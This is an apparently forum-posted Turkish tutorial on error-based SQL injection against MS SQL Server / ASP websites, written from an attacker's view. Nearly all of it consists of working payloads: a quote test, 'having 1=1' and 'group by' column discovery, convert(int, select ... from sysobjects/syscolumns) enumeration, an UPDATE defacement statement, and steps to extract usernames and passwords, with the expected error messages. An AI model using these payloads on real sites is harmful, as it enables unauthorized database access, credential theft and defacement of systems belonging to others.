MsSQL SQL Injection Için En Uygun Sistemdir.Çünkü MsSQL Injectionda Is Access Gibi Deneme/Yanilma Degildir.
Bir Sonuç Varsa %100 dür ( Her türlü olumlu ya da olumsuz)
Accessde is tahmindir,fakat mssql böyle degildir.
MsSQL Injection Ile çok sey yapabilirsiniz.
Mesela ?
MsSQL Root ( Root Olma )
MssQL Update (Update yapma )
MsSQL Meta ( Meta atma index yedirme )
vs. vs. bir çok sey yapabilirsiniz.
Fakat ben isin attack kismina bakacagim.
Sitemize girdik,
color=#0000cc www.x.com/a.asp?id=1
Sonuna ’a yazdik ve enterladik >> color=#0000cc www.x.com/a.asp?id=1’a
Bize söyle bir hata vermesi lazim,
---------------------------------------------------
Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ’a’.
------------------------------------------------
Bu hatayi aldik mi ? Iste bu siteye her bir seyi yapabiliriz.
Mesela?
Update yapabiliriz
Update yapilmasi için tablo ve kolon adlarini bilmemiz gerekir.
Sitemizin linkinin yanina having 1=1 yazalim vede tablo ve kolon adini ögrenelim.
Yani color=#0000cc www.x.com/a.asp?id=1 having 1=1
Column ’Admin.ID’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
Söyle bir hata aldik.Bu su demektir.
Admin tablosunda ID adli bir kolon var.Diger kolon adlarini bulmak için;
Linkimizin yanina group by title having 1=1 ekleyelim.
Yani >> color=#0000cc www.x.com/a.asp?id=1 group by title having 1=1
Böylece diger kolonlari da bulabiliriz.
Ardindan asagidaki gibi de update yapabiliriz.
update TabloAdi set KolonAdi=’Buraya yazmak istediginiz bir yaziyi yazin’;--
sekilde update yapabiliriz.
Tablo adlarina tek tek bakarak sitenin gizli bilgilerini(Sifre vs.) alabiliriz
Sitemizin linkinin yanina and 1=convert(int,(select top 1 name from sysobjects)) yazalim ve de karsimiza çikan ilk tablo adini bulalim.
Yani;
color=#0000cc www.x.com/a.asp?id=1 and 1=convert(int,(select top 1 name from sysobjects))
Söyle bir hata vermesi lazim;
------------------------------------------------------------
Microsoft OLE DB Provider for SQL Server error ’80040e07’
Conversion failed when converting the nvarchar value ’AdminVerify’ to data type int.
------------------------------------------------------
Üstteki AdminVerify karsimiza çikan ilk tablodur.Büyük ihtimal bütün sifreler vs. orda
Diyelim AdminVerify çikmadi.Poll Diye bi tablo çikti.Bu tabloda sifreler vs. yok.Ben nasi ulasabilirim?
Linkimizin yanina and 1=convert(int,(select top 1 name from sysobjects where name>’tablo adi’)) ekleyelim.Tablo adi bölümüne Üstteki Ilk çikan tablo adini yazalim ve de diger tabloyu çikartalim.
Iste böyle gide gide bulabiliriz.
ya da tablo adi bölümüne a yazalim.Böylece "a" karakterinden büyük olan ilk tablonun adini ögrenebiliriz.
Mesela ben bi ara u yazdim ve de users adli bi tablo oldugunu fark ettim.
Ama yinede en garantili yok üstteki gibidir.
Simdi kolon adi bulma,
Örnek tablomuz AdminVerify olsun.
and 1=convert(int, (select top 1 name from syscolumns where colid=1 and id=(select top 1 id from sysobjects where xtype=’u’ and name=’tablo adi’)))
Linkimizin ucuna bunu ekleyelim.Sag tarafta bulunan tablo adi yerine AdminVerify yazalim.
Böylece AdminVerify adli tablomuzdan çikan ilk kolon adini bulabiliriz.
üstteki colid=1 yerini colid=2 yapalim.Böylece 2. kolon adini bulabiliriz.3 yapalim , 3. kolon adini bulabiliriz.
Her seyi bulduk diyelim.Nasil username ve pass çikaricaz?
and 1=convert(int,(select top 1 KolonADi from Tablo Adi))
Linkimizin yanina bunu ekleyelim.
Kolon adi yerine kolon adimizi (Örnek : ID )
tablo adimizin yerine de tablo adini ( Örnek : AdminVerify)
Iste böylece username ve pass çikarabiliriz.
Saygilarimla,
Jocker.
KAYNAK